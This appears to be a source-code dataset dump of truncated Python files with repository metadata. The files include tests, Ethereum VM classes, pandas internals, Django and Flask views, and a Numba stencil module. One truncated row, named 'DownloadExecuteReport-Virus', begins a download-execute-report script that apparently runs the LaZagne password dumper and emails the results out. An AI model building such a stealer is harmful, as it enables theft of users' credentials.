import pytest from selenium.common.exceptions import WebDriverException from wrapped_driver import WrappedDriver def test_empty_chromedriver_path(): """Assert error is raised if no chromedriver path is used""" with pytest.raises(WebDriverException): WrappedDriver(executable_path="", headless=True) ...
import pytest from selenium.common.exceptions import WebDriverException from wrapped_driver import WrappedDriver def test_empty_chromedriver_path(): """Assert error is raised if no chromedriver path is used""" with pytest.raises(WebDriverException): WrappedDriver(executable_path="", headless=True) ...
en
0.826814
Assert error is raised if no chromedriver path is used Assert error is raised if no chromedriver path is used
2.658098
3
eth/vm/forks/petersburg/blocks.py
ggs134/py-evm
1,641
4943
<reponame>ggs134/py-evm from rlp.sedes import ( CountableList, ) from eth.rlp.headers import ( BlockHeader, ) from eth.vm.forks.byzantium.blocks import ( ByzantiumBlock, ) from .transactions import ( PetersburgTransaction, ) class PetersburgBlock(ByzantiumBlock): transaction_builder = PetersburgT...
from rlp.sedes import ( CountableList, ) from eth.rlp.headers import ( BlockHeader, ) from eth.vm.forks.byzantium.blocks import ( ByzantiumBlock, ) from .transactions import ( PetersburgTransaction, ) class PetersburgBlock(ByzantiumBlock): transaction_builder = PetersburgTransaction fields = ...
none
1
1.905026
2
tests/runner.py
crnbaker/MONAI
1
4944
<reponame>crnbaker/MONAI # Copyright 2020 MONAI Consortium # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # http://www.apache.org/licenses/LICENSE-2.0 # Unless required by applicable law o...
# Copyright 2020 MONAI Consortium # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # http://www.apache.org/licenses/LICENSE-2.0 # Unless required by applicable law or agreed to in writing, s...
en
0.789358
# Copyright 2020 MONAI Consortium # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # http://www.apache.org/licenses/LICENSE-2.0 # Unless required by applicable law or agreed to in writing, s...
2.444798
2
venv/Lib/site-packages/pandas/core/array_algos/transforms.py
arnoyu-hub/COMP0016miemie
0
4945
""" transforms.py is for shape-preserving functions. """ import numpy as np def shift(values: np.ndarray, periods: int, axis: int, fill_value) -> np.ndarray: new_values = values if periods == 0 or values.size == 0: return new_values.copy() # make sure array sent to np.roll is c_con...
""" transforms.py is for shape-preserving functions. """ import numpy as np def shift(values: np.ndarray, periods: int, axis: int, fill_value) -> np.ndarray: new_values = values if periods == 0 or values.size == 0: return new_values.copy() # make sure array sent to np.roll is c_con...
en
0.851176
transforms.py is for shape-preserving functions. # make sure array sent to np.roll is c_contiguous # restore original order
3.028993
3
students/models/group.py
Stanislav-Rybonka/studentsdb
1
4946
<filename>students/models/group.py from __future__ import unicode_literals from django.db import models from django.utils.translation import ugettext as _ class Group(models.Model): """ Group model """ title = models.CharField(max_length=256, blank=False, verbose_name=_('Name')) leader = models....
<filename>students/models/group.py from __future__ import unicode_literals from django.db import models from django.utils.translation import ugettext as _ class Group(models.Model): """ Group model """ title = models.CharField(max_length=256, blank=False, verbose_name=_('Name')) leader = models....
en
0.868242
Group model
2.284376
2
frontegg/baseConfig/identity_mixin.py
pinikeizman/python-sdk
0
4947
from abc import ABCMeta, abstractmethod from frontegg.helpers.frontegg_urls import frontegg_urls import typing import jwt import requests from frontegg.helpers.logger import logger from jwt import InvalidTokenError class IdentityClientMixin(metaclass=ABCMeta): __publicKey = None @property @abstractmethod...
from abc import ABCMeta, abstractmethod from frontegg.helpers.frontegg_urls import frontegg_urls import typing import jwt import requests from frontegg.helpers.logger import logger from jwt import InvalidTokenError class IdentityClientMixin(metaclass=ABCMeta): __publicKey = None @property @abstractmethod...
none
1
2.188941
2
splunk_sdk/action/v1beta2/gen_action_service_api.py
ianlee4/splunk-cloud-sdk-python
12
4948
<reponame>ianlee4/splunk-cloud-sdk-python # coding: utf-8 # Copyright © 2021 Splunk, Inc. # # Licensed under the Apache License, Version 2.0 (the "License"): you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # [http://www.apache.org/licenses/LICENSE-2.0] # #...
# coding: utf-8 # Copyright © 2021 Splunk, Inc. # # Licensed under the Apache License, Version 2.0 (the "License"): you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # [http://www.apache.org/licenses/LICENSE-2.0] # # Unless required by applicable law or agre...
en
0.813055
# coding: utf-8 # Copyright © 2021 Splunk, Inc. # # Licensed under the Apache License, Version 2.0 (the "License"): you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # [http://www.apache.org/licenses/LICENSE-2.0] # # Unless required by applicable law or agree...
1.6924
2
src/brewlog/home/__init__.py
zgoda/brewlog
3
4949
<filename>src/brewlog/home/__init__.py from flask import Blueprint home_bp = Blueprint('home', __name__) from . import views # noqa
<filename>src/brewlog/home/__init__.py from flask import Blueprint home_bp = Blueprint('home', __name__) from . import views # noqa
none
1
1.423247
1
main.py
TheRavehorn/DownloadExecuteReport-Virus
0
4950
#!/usr/bin/env python3 import requests import subprocess import smtplib import re import os import tempfile def download(url): get_response = requests.get(url) file_name = url.split("/")[-1] with open(file_name, "wb") as f: f.write(get_response.content) def send_mail(email, password, message): ...
#!/usr/bin/env python3 import requests import subprocess import smtplib import re import os import tempfile def download(url): get_response = requests.get(url) file_name = url.split("/")[-1] with open(file_name, "wb") as f: f.write(get_response.content) def send_mail(email, password, message): ...
fr
0.258001
#!/usr/bin/env python3 # LaZagne
2.839852
3
SmartAPI/rdf/LinkedList.py
Kreastr/SmartAPI-HEILA
0
4951
from SmartAPI.rdf.List import List class LinkedList(List): def __init__(self): List.__init__(self)
from SmartAPI.rdf.List import List class LinkedList(List): def __init__(self): List.__init__(self)
none
1
1.93042
2
frog/views/gallery.py
dreamhaven/Frog
3
4952
################################################################################################## # Copyright (c) 2012 <NAME> # # Permission is hereby granted, free of charge, to any person obtaining a copy of # this software and associated documentation files (the "Software"), to deal in # the Software without restri...
################################################################################################## # Copyright (c) 2012 <NAME> # # Permission is hereby granted, free of charge, to any person obtaining a copy of # this software and associated documentation files (the "Software"), to deal in # the Software without restri...
en
0.765078
################################################################################################## # Copyright (c) 2012 <NAME> # # Permission is hereby granted, free of charge, to any person obtaining a copy of # this software and associated documentation files (the "Software"), to deal in # the Software without restri...
0.994405
1
pirates/speedchat/PSpeedChatQuestMenu.py
itsyaboyrocket/pirates
3
4953
<reponame>itsyaboyrocket/pirates # uncompyle6 version 3.2.0 # Python bytecode 2.4 (62061) # Decompiled from: Python 2.7.14 (v2.7.14:84471935ed, Sep 16 2017, 20:19:30) [MSC v.1500 32 bit (Intel)] # Embedded file name: pirates.speedchat.PSpeedChatQuestMenu from otp.speedchat.SCMenu import SCMenu from otp.speedchat.SCTerm...
# uncompyle6 version 3.2.0 # Python bytecode 2.4 (62061) # Decompiled from: Python 2.7.14 (v2.7.14:84471935ed, Sep 16 2017, 20:19:30) [MSC v.1500 32 bit (Intel)] # Embedded file name: pirates.speedchat.PSpeedChatQuestMenu from otp.speedchat.SCMenu import SCMenu from otp.speedchat.SCTerminal import * from otp.speedchat....
en
0.520869
# uncompyle6 version 3.2.0 # Python bytecode 2.4 (62061) # Decompiled from: Python 2.7.14 (v2.7.14:84471935ed, Sep 16 2017, 20:19:30) [MSC v.1500 32 bit (Intel)] # Embedded file name: pirates.speedchat.PSpeedChatQuestMenu
2.027181
2
spotifyembed/spotifyembed.py
R3XET/coffee-cogs
0
4954
# from redbot.core import Config from redbot.core import Config, commands, checks import asyncio import aiohttp import discord from discord import Webhook, AsyncWebhookAdapter import re class Spotifyembed(commands.Cog): """Automatically send a reply to Spotify links with a link to the embed preview. Convenient for...
# from redbot.core import Config from redbot.core import Config, commands, checks import asyncio import aiohttp import discord from discord import Webhook, AsyncWebhookAdapter import re class Spotifyembed(commands.Cog): """Automatically send a reply to Spotify links with a link to the embed preview. Convenient for...
en
0.800438
# from redbot.core import Config Automatically send a reply to Spotify links with a link to the embed preview. Convenient for mobile users who can finally listen to music samples from Discord, without needing an account. Set Spotify Embed settings # Guild settings Enable auto-responding to Spotify links Disable auto-re...
2.584112
3
rlcard/utils/seeding.py
AdrianP-/rlcard
0
4955
<reponame>AdrianP-/rlcard #The MIT License # #Copyright (c) 2020 DATA Lab at Texas A&M University #Copyright (c) 2016 OpenAI (https://openai.com) # #Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software ...
#The MIT License # #Copyright (c) 2020 DATA Lab at Texas A&M University #Copyright (c) 2016 OpenAI (https://openai.com) # #Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, inclu...
en
0.830311
#The MIT License # #Copyright (c) 2020 DATA Lab at Texas A&M University #Copyright (c) 2016 OpenAI (https://openai.com) # #Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, inclu...
2.243531
2
ops/transforms.py
ex4sperans/freesound-classification
55
4956
import random import math from functools import partial import json import pysndfx import librosa import numpy as np import torch from ops.audio import ( read_audio, compute_stft, trim_audio, mix_audio_and_labels, shuffle_audio, cutout ) SAMPLE_RATE = 44100 class Augmentation: """A base class for data...
import random import math from functools import partial import json import pysndfx import librosa import numpy as np import torch from ops.audio import ( read_audio, compute_stft, trim_audio, mix_audio_and_labels, shuffle_audio, cutout ) SAMPLE_RATE = 44100 class Augmentation: """A base class for data...
en
0.342875
A base class for data augmentation transforms # stft = compute_stft( # inputs["audio"], # window_size=self.n_fft, hop_size=self.hop_size, # eps=self.eps, log=True # )
2.421959
2
figures/pp.py
mathematicalmichael/thesis
6
4957
#!/usr/env/bin python import os # os.environ['OMP_NUM_THREADS'] = '1' from newpoisson import poisson import numpy as np from fenics import set_log_level, File, RectangleMesh, Point mesh = RectangleMesh(Point(0,0), Point(1,1), 36, 36) # comm = mesh.mpi_comm() set_log_level(40) # ERROR=40 # from mpi4py import MPI # com...
#!/usr/env/bin python import os # os.environ['OMP_NUM_THREADS'] = '1' from newpoisson import poisson import numpy as np from fenics import set_log_level, File, RectangleMesh, Point mesh = RectangleMesh(Point(0,0), Point(1,1), 36, 36) # comm = mesh.mpi_comm() set_log_level(40) # ERROR=40 # from mpi4py import MPI # com...
en
0.376606
#!/usr/env/bin python # os.environ['OMP_NUM_THREADS'] = '1' # comm = mesh.mpi_comm() # ERROR=40 # from mpi4py import MPI # comm = MPI.COMM_WORLD # rank = comm.Get_rank() # U[1,5] # N(0,1) # Save solution # print(results)
2.430418
2
additions/irreducible_check.py
kluhan/seraphim
0
4958
""" Irreduzibilitätskriterien Implementiert wurden das Eisenstein- und das Perronkriterium Quellen: https://rms.unibuc.ro/bulletin/pdf/53-3/perron.pdf http://math-www.uni-paderborn.de/~chris/Index33/V/par5.pdf Übergeben werden Polynome vom Typ Polynomial, keine direkten Listen von Koeff...
""" Irreduzibilitätskriterien Implementiert wurden das Eisenstein- und das Perronkriterium Quellen: https://rms.unibuc.ro/bulletin/pdf/53-3/perron.pdf http://math-www.uni-paderborn.de/~chris/Index33/V/par5.pdf Übergeben werden Polynome vom Typ Polynomial, keine direkten Listen von Koeff...
de
0.967116
Irreduzibilitätskriterien Implementiert wurden das Eisenstein- und das Perronkriterium Quellen: https://rms.unibuc.ro/bulletin/pdf/53-3/perron.pdf http://math-www.uni-paderborn.de/~chris/Index33/V/par5.pdf Übergeben werden Polynome vom Typ Polynomial, keine direkten Listen von Koeffizienten...
2.897329
3
numba/stencils/stencil.py
auderson/numba
6,620
4959
<reponame>auderson/numba<filename>numba/stencils/stencil.py<gh_stars>1000+ # # Copyright (c) 2017 Intel Corporation # SPDX-License-Identifier: BSD-2-Clause # import copy import numpy as np from llvmlite import ir as lir from numba.core import types, typing, utils, ir, config, ir_utils, registry from numba.core.typin...
# # Copyright (c) 2017 Intel Corporation # SPDX-License-Identifier: BSD-2-Clause # import copy import numpy as np from llvmlite import ir as lir from numba.core import types, typing, utils, ir, config, ir_utils, registry from numba.core.typing.templates import (CallableTemplate, signature, ...
en
0.831798
# # Copyright (c) 2017 Intel Corporation # SPDX-License-Identifier: BSD-2-Clause # Callable class responsible for lowering calls to a specific StencilFunc. # We need literal_unroll here because the stencil might take # multiple input arrays with different types that are not compatible # (e.g. values as float[:] and fla...
2.173409
2
examples/bicycle/bicycle_dynamics.py
lujieyang/irs_lqr
6
4960
<gh_stars>1-10 import numpy as np import pydrake.symbolic as ps import torch import time from irs_lqr.dynamical_system import DynamicalSystem class BicycleDynamics(DynamicalSystem): def __init__(self, h): super().__init__() """ x = [x pos, y pos, heading, speed, steering_angle] u =...
import numpy as np import pydrake.symbolic as ps import torch import time from irs_lqr.dynamical_system import DynamicalSystem class BicycleDynamics(DynamicalSystem): def __init__(self, h): super().__init__() """ x = [x pos, y pos, heading, speed, steering_angle] u = [acceleration,...
en
0.543896
x = [x pos, y pos, heading, speed, steering_angle] u = [acceleration, steering_velocity] Jacobian computations Symbolic expression for dynamics. Used to compute linearizations of the system. x (np.array, dim: n): state u (np.array, dim: m): action Numeric expression for dynamics. ...
2.927293
3
apps/proportions.py
harmkenn/PST_Deploy_Test
0
4961
import streamlit as st import math from scipy.stats import * import pandas as pd import numpy as np from plotnine import * def app(): # title of the app st.subheader("Proportions") st.sidebar.subheader("Proportion Settings") prop_choice = st.sidebar.radio("",["One Proportion","Two Proportions"]) ...
import streamlit as st import math from scipy.stats import * import pandas as pd import numpy as np from plotnine import * def app(): # title of the app st.subheader("Proportions") st.sidebar.subheader("Proportion Settings") prop_choice = st.sidebar.radio("",["One Proportion","Two Proportions"]) ...
en
0.912924
# title of the app
2.996198
3
integration/v2/test_service_instances.py
subhash12/cf-python-client
47
4962
<reponame>subhash12/cf-python-client<gh_stars>10-100 import logging import unittest from config_test import build_client_from_configuration _logger = logging.getLogger(__name__) class TestServiceInstances(unittest.TestCase): def test_create_update_delete(self): client = build_client_from_configuration()...
import logging import unittest from config_test import build_client_from_configuration _logger = logging.getLogger(__name__) class TestServiceInstances(unittest.TestCase): def test_create_update_delete(self): client = build_client_from_configuration() result = client.v2.service_instances.create(...
none
1
2.448621
2
runway/core/providers/__init__.py
troyready/runway
134
4963
"""Runway providers."""
"""Runway providers."""
en
0.768745
Runway providers.
1.015032
1
samples/COVServer.py
noelli/bacpypes
0
4964
#!/usr/bin/env python """ This sample application is a server that supports COV notification services. The console accepts commands that change the properties of an object that triggers the notifications. """ import time from threading import Thread from bacpypes.debugging import bacpypes_debugging, ModuleLogger fro...
#!/usr/bin/env python """ This sample application is a server that supports COV notification services. The console accepts commands that change the properties of an object that triggers the notifications. """ import time from threading import Thread from bacpypes.debugging import bacpypes_debugging, ModuleLogger fro...
en
0.700548
#!/usr/bin/env python This sample application is a server that supports COV notification services. The console accepts commands that change the properties of an object that triggers the notifications. # some debugging # test globals # # SubscribeCOVApplication # # # COVConsoleCmd # status # dump from the COV detect...
2.233215
2
server/glassface/facebookfriender/views.py
theopak/glassface
1
4965
import os import platform import subprocess from django.http import HttpResponse from django.conf import settings def add(request, friend): phantomjs = os.path.join(settings.PROJECT_PATH, 'glassface', 'facebookfriender', platform.system(), 'phantomjs') script = os.path.join(settings.PROJECT_PATH, 'glassface'...
import os import platform import subprocess from django.http import HttpResponse from django.conf import settings def add(request, friend): phantomjs = os.path.join(settings.PROJECT_PATH, 'glassface', 'facebookfriender', platform.system(), 'phantomjs') script = os.path.join(settings.PROJECT_PATH, 'glassface'...
none
1
1.961634
2
fancylit/modeling/yellowbrick_funcs.py
rubyruins/fancylit
0
4966
<gh_stars>0 import random import numpy as np import pandas as pd import streamlit as st from sklearn.naive_bayes import GaussianNB from sklearn.model_selection import train_test_split from yellowbrick.classifier import classification_report from yellowbrick.target import FeatureCorrelation from yellowbrick.target impor...
import random import numpy as np import pandas as pd import streamlit as st from sklearn.naive_bayes import GaussianNB from sklearn.model_selection import train_test_split from yellowbrick.classifier import classification_report from yellowbrick.target import FeatureCorrelation from yellowbrick.target import ClassBalan...
en
0.518345
Purpose: Prep data for modeling Args: df - Pandas dataframe Returns: test_features - test set features train_features - train set feautres test_target - test set target train_target - train set target # Specify the target classes # Select Features you want # Get ...
3.544453
4
info/modules/admin/views.py
moonbria/test1
0
4967
<reponame>moonbria/test1 from flask import request import random import re from flask import current_app, jsonify from flask import g from flask import make_response from flask import redirect from flask import render_template from flask import request from flask import session from flask import url_for import time fro...
from flask import request import random import re from flask import current_app, jsonify from flask import g from flask import make_response from flask import redirect from flask import render_template from flask import request from flask import session from flask import url_for import time from info import constants, ...
zh
0.984398
# 去session 中取到指定的值 # 取到登陆的参数 # 跳转到后台管理主页,暂未实现 # 判断如果不是登陆页面的请求 # 判断当前是否有用户登陆,或者是否是管理员,如果不是,直接重定向到项目首页 # 查询总人数 # 查询月新增数 # 查询图表信息 # 获取到当天00:00:00时间 # 定义空数组,保存数据 # 依次添加数据,再反转 获取用户列表 # 获取参数 # 设置变量默认值 #查询数据 # 将模型列表转换成字典列表 返回待审核新闻列表 # 如果有关键词 # 添加关键字检索选项 新闻审核 # 获取新闻id # 通过id查询新闻 # 返回数据 # 执行审核操作 # 1. 获取参数 #2. 判断参数 # 3. 查询新闻 # ...
2.151584
2
src/predict_model.py
Swati17293/outlet-prediction
1
4968
#Answer Generation import csv import os import numpy as np from keras.models import * from keras.models import Model from keras.preprocessing import text def load_model(): print('\nLoading model...') # load json and create model json_file = open('models/MODEL.json', 'r') loaded_model_json = json_file...
#Answer Generation import csv import os import numpy as np from keras.models import * from keras.models import Model from keras.preprocessing import text def load_model(): print('\nLoading model...') # load json and create model json_file = open('models/MODEL.json', 'r') loaded_model_json = json_file...
en
0.909811
#Answer Generation # load json and create model # load weights into new model #Low frequency words are replaced with "indiatimes" #Words before and after #Delete duplicate words
2.839342
3
tools/client.py
Alisa1114/yolov4-pytorch-1
0
4969
# -*- coding: UTF-8 -*- from socket import * def client(): #實驗室電腦 # serverip='192.168.3.11' # serverport=8887 #在自己電腦測試 serverip='127.0.0.1' serverport=8888 client=socket(AF_INET,SOCK_STREAM) client.connect((serverip,serverport)) address_file = open('tools/address.txt', 'r') ...
# -*- coding: UTF-8 -*- from socket import * def client(): #實驗室電腦 # serverip='192.168.3.11' # serverport=8887 #在自己電腦測試 serverip='127.0.0.1' serverport=8888 client=socket(AF_INET,SOCK_STREAM) client.connect((serverip,serverport)) address_file = open('tools/address.txt', 'r') ...
en
0.226586
# -*- coding: UTF-8 -*- #實驗室電腦 # serverip='192.168.3.11' # serverport=8887 #在自己電腦測試 # buffer='POST /post HTTP/1.1\r\n' # buffer+='Content-Type:application/json\r\n' # buffer+='Body:{\\"StuId\\":\\"410785016 Chao,He-Teng\\"}\r\n' # buffer+='Address : ' + address + '\r\n' # buffer+='\r\n' # print(buffer) # message = "國立台...
3.030441
3
dapy/models/kuramoto_sivashinsky.py
hassaniqbal209/data-assimilation
11
4970
"""Non-linear SPDE model on a periodic 1D spatial domain for laminar wave fronts. Based on the Kuramato--Sivashinsky PDE model [1, 2] which exhibits spatio-temporally chaotic dynamics. References: 1. Kuramoto and Tsuzuki. Persistent propagation of concentration waves in dissipative media far from thermal ...
"""Non-linear SPDE model on a periodic 1D spatial domain for laminar wave fronts. Based on the Kuramato--Sivashinsky PDE model [1, 2] which exhibits spatio-temporally chaotic dynamics. References: 1. Kuramoto and Tsuzuki. Persistent propagation of concentration waves in dissipative media far from thermal ...
en
0.703264
Non-linear SPDE model on a periodic 1D spatial domain for laminar wave fronts. Based on the Kuramato--Sivashinsky PDE model [1, 2] which exhibits spatio-temporally chaotic dynamics. References: 1. Kuramoto and Tsuzuki. Persistent propagation of concentration waves in dissipative media far from thermal equ...
2.010503
2
setup.py
Lif3line/myo-helper
0
4971
<filename>setup.py """Utiltiy functions for working with Myo Armband data.""" from setuptools import setup, find_packages setup(name='myo_helper', version='0.1', description='Utiltiy functions for working with Myo Armband data', author='Lif3line', author_email='<EMAIL>', license='MIT', ...
<filename>setup.py """Utiltiy functions for working with Myo Armband data.""" from setuptools import setup, find_packages setup(name='myo_helper', version='0.1', description='Utiltiy functions for working with Myo Armband data', author='Lif3line', author_email='<EMAIL>', license='MIT', ...
en
0.602621
Utiltiy functions for working with Myo Armband data. # use the URL to the github repo
1.294448
1
demos/restful-users/index.py
karldoenitz/karlooper
161
4972
# -*-encoding:utf-8-*- import os from karlooper.web.application import Application from karlooper.web.request import Request class UsersHandler(Request): def get(self): return self.render("/user-page.html") class UserInfoHandler(Request): def post(self): print(self.get_http_request_message(...
# -*-encoding:utf-8-*- import os from karlooper.web.application import Application from karlooper.web.request import Request class UsersHandler(Request): def get(self): return self.render("/user-page.html") class UserInfoHandler(Request): def post(self): print(self.get_http_request_message(...
en
0.82257
# -*-encoding:utf-8-*-
2.595232
3
temporal_transforms.py
LijiangLong/3D-ResNets-PyTorch
0
4973
import random import math class LoopPadding(object): def __init__(self, size): self.size = size def __call__(self, frame_indices): out = frame_indices for index in out: if len(out) >= self.size: break out.append(index) return out cl...
import random import math class LoopPadding(object): def __init__(self, size): self.size = size def __call__(self, frame_indices): out = frame_indices for index in out: if len(out) >= self.size: break out.append(index) return out cl...
en
0.821565
Temporally crop the given frame indices at a beginning. If the number of frames is less than the size, loop the indices as many times as necessary to satisfy the size. Args: size (int): Desired output size of the crop. Temporally crop the given frame indices at a center. If the number of fram...
3.274839
3
cli/waiter/subcommands/kill.py
geofft/waiter
0
4974
from waiter.action import process_kill_request from waiter.util import guard_no_cluster, check_positive def kill(clusters, args, _, __): """Kills the service(s) using the given token name.""" guard_no_cluster(clusters) token_name_or_service_id = args.get('token-or-service-id') is_service_id = args.get...
from waiter.action import process_kill_request from waiter.util import guard_no_cluster, check_positive def kill(clusters, args, _, __): """Kills the service(s) using the given token name.""" guard_no_cluster(clusters) token_name_or_service_id = args.get('token-or-service-id') is_service_id = args.get...
en
0.500555
Kills the service(s) using the given token name. Adds this sub-command's parser and returns the action function
2.702208
3
a2t/src/a2t.py
syeda-khurrath/fabric8-analytics-common
0
4975
<gh_stars>0 """The main module of the Analytics API Load Tests tool. Copyright (c) 2019 Red Hat Inc. This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your opti...
"""The main module of the Analytics API Load Tests tool. Copyright (c) 2019 Red Hat Inc. This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any late...
en
0.871164
The main module of the Analytics API Load Tests tool. Copyright (c) 2019 Red Hat Inc. This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later v...
2.113696
2
riscv_ctg/ctg.py
Giri2801/riscv-ctg
0
4976
# See LICENSE.incore file for details import os,re import multiprocessing as mp import time import shutil from riscv_ctg.log import logger import riscv_ctg.utils as utils import riscv_ctg.constants as const from riscv_isac.cgf_normalize import expand_cgf from riscv_ctg.generator import Generator from math import * fr...
# See LICENSE.incore file for details import os,re import multiprocessing as mp import time import shutil from riscv_ctg.log import logger import riscv_ctg.utils as utils import riscv_ctg.constants as const from riscv_isac.cgf_normalize import expand_cgf from riscv_ctg.generator import Generator from math import * fr...
en
0.471641
# See LICENSE.incore file for details #if flen not in op_node['flen']: # return
1.893316
2
Back-End/Python/timers/clock_named_tuple.py
ASHISHKUMAR2411/Programming-CookBook
25
4977
<filename>Back-End/Python/timers/clock_named_tuple.py from collections import namedtuple MainTimer = namedtuple('MainTimer', 'new_time_joined, end_period, new_weekday, days') def add_time(start, duration, start_weekday=None): weekdays = [ 'Monday', 'Tuesday', 'Wednesday', 'Thursday', 'Friday', ...
<filename>Back-End/Python/timers/clock_named_tuple.py from collections import namedtuple MainTimer = namedtuple('MainTimer', 'new_time_joined, end_period, new_weekday, days') def add_time(start, duration, start_weekday=None): weekdays = [ 'Monday', 'Tuesday', 'Wednesday', 'Thursday', 'Friday', ...
en
0.599739
# Adds Current time plus End Time Total # Calculates Total days passed # Calculates New Time # Clock, calculates the days elapsed # Figure out whether is AM or PM # Triggers process time function
3.248698
3
mlsurvey/visualize/__init__.py
jlaumonier/mlsurvey
0
4978
from .analyze_logs import AnalyzeLogs from .search_interface import SearchInterface from .detail_interface import DetailInterface from .user_interface import UserInterface from .visualize_log_detail import VisualizeLogDetail
from .analyze_logs import AnalyzeLogs from .search_interface import SearchInterface from .detail_interface import DetailInterface from .user_interface import UserInterface from .visualize_log_detail import VisualizeLogDetail
none
1
1.043228
1
stanford/sms-tools/lectures/02-DFT/plots-code/idft.py
phunc20/dsp
1
4979
import matplotlib.pyplot as plt import numpy as np import sys sys.path.append('../../../software/models/') import dftModel as DFT import math k0 = 8.5 N = 64 w = np.ones(N) x = np.cos(2*np.pi*k0/N*np.arange(-N/2,N/2)) mX, pX = DFT.dftAnal(x, w, N) y = DFT.dftSynth(mX, pX, N) plt.figure(1, figsize=(9.5, 5)) plt.subpl...
import matplotlib.pyplot as plt import numpy as np import sys sys.path.append('../../../software/models/') import dftModel as DFT import math k0 = 8.5 N = 64 w = np.ones(N) x = np.cos(2*np.pi*k0/N*np.arange(-N/2,N/2)) mX, pX = DFT.dftAnal(x, w, N) y = DFT.dftSynth(mX, pX, N) plt.figure(1, figsize=(9.5, 5)) plt.subpl...
none
1
2.251893
2
setup.py
jerzydziewierz/typobs
0
4980
<gh_stars>0 # setup.py as described in: # https://stackoverflow.com/questions/27494758/how-do-i-make-a-python-script-executable # to install on your system, run: # > pip install -e . from setuptools import setup, find_packages setup( name='typobs', version='0.0.3', entry_points={ 'console_scripts':...
# setup.py as described in: # https://stackoverflow.com/questions/27494758/how-do-i-make-a-python-script-executable # to install on your system, run: # > pip install -e . from setuptools import setup, find_packages setup( name='typobs', version='0.0.3', entry_points={ 'console_scripts': [ ...
en
0.710311
# setup.py as described in: # https://stackoverflow.com/questions/27494758/how-do-i-make-a-python-script-executable # to install on your system, run: # > pip install -e . # metadata to display on PyPI # project home page, if any
1.951341
2
tests/fixtures.py
ehelms/system-baseline-backend
0
4981
""" decoded AUTH_HEADER (newlines added for readability): { "identity": { "account_number": "1234", "internal": { "org_id": "5678" }, "type": "User", "user": { "email": "<EMAIL>", "first_name": "Firstname", "is_active": true, ...
""" decoded AUTH_HEADER (newlines added for readability): { "identity": { "account_number": "1234", "internal": { "org_id": "5678" }, "type": "User", "user": { "email": "<EMAIL>", "first_name": "Firstname", "is_active": true, ...
en
0.346367
decoded AUTH_HEADER (newlines added for readability): { "identity": { "account_number": "1234", "internal": { "org_id": "5678" }, "type": "User", "user": { "email": "<EMAIL>", "first_name": "Firstname", "is_active": true, ...
1.924327
2
2021-02-03/2.py
Elfenreigen/MCM-2021-C-SJTU-Test
1
4982
<reponame>Elfenreigen/MCM-2021-C-SJTU-Test #####Time Flow Simulation###### import numpy as np import pandas as pd import matplotlib.pyplot as plt from datetime import timedelta import datetime import csv data=pd.read_excel('CF66-all.xlsx') data.sort_values(by=['WBL_AUD_DT'],ascending=True,inplace=True) or_da...
#####Time Flow Simulation###### import numpy as np import pandas as pd import matplotlib.pyplot as plt from datetime import timedelta import datetime import csv data=pd.read_excel('CF66-all.xlsx') data.sort_values(by=['WBL_AUD_DT'],ascending=True,inplace=True) or_data=pd.read_excel('CF66-ordinary.xlsx') rul...
de
0.352824
#####Time Flow Simulation######
2.607421
3
tests/test_selection.py
qrebjock/fanok
0
4983
import pytest import numpy as np from fanok.selection import adaptive_significance_threshold @pytest.mark.parametrize( "w, q, offset, expected", [ ([1, 2, 3, 4, 5], 0.1, 0, 1), ([-1, 2, -3, 4, 5], 0.1, 0, 4), ([-3, -2, -1, 0, 1, 2, 3], 0.1, 0, np.inf), ([-3, -2, -1, 0, 1, 2, ...
import pytest import numpy as np from fanok.selection import adaptive_significance_threshold @pytest.mark.parametrize( "w, q, offset, expected", [ ([1, 2, 3, 4, 5], 0.1, 0, 1), ([-1, 2, -3, 4, 5], 0.1, 0, 4), ([-3, -2, -1, 0, 1, 2, 3], 0.1, 0, np.inf), ([-3, -2, -1, 0, 1, 2, ...
none
1
2.537814
3
unitcap/unit_cap.py
fintelia/habitationi
1
4984
<reponame>fintelia/habitationi #!/usr/bin/python # Copyright 2019 <NAME> # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless requ...
#!/usr/bin/python # Copyright 2019 <NAME> # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agree...
en
0.782036
#!/usr/bin/python # Copyright 2019 <NAME> # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to...
2.034662
2
matrix/__init__.py
AbhiK002/Matrix
2
4985
<filename>matrix/__init__.py from .main import Matrix
<filename>matrix/__init__.py from .main import Matrix
none
1
0.940975
1
samples/cmk/test.py
jasstionzyf/Mask_RCNN
0
4986
<filename>samples/cmk/test.py import os import sys import json import datetime import numpy as np import glob import skimage from PIL import Image as pil_image import cv2 import cv2 def locationToMask(locations=None,height=None,width=None): mask = np.zeros([height, width, len(locations)], ...
<filename>samples/cmk/test.py import os import sys import json import datetime import numpy as np import glob import skimage from PIL import Image as pil_image import cv2 import cv2 def locationToMask(locations=None,height=None,width=None): mask = np.zeros([height, width, len(locations)], ...
en
0.580762
# # self.add_image( # "balloon", # image_id=a['filename'], # use file name as a unique image id # path=image_path, # width=width, height=height, # polygons=polygons) # mask,classIds=locationToMask(locations=locations,height=height,width=width) # print(mask) # print(classIds)
2.218901
2
myBeautifulSoup.py
